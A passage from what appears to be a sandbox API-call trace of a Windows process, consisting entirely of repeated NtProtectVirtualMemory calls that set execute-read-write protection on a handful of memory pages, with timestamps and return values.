OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.796] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.818] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.999] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.050] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.099] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.149] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.215] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.274] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.285] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.295] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.391] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.420] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.442] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.454] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.492] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.530] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.570] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.588] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.666] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.761] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.776] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.007] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.119] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.143] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.159] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.217] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.257] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 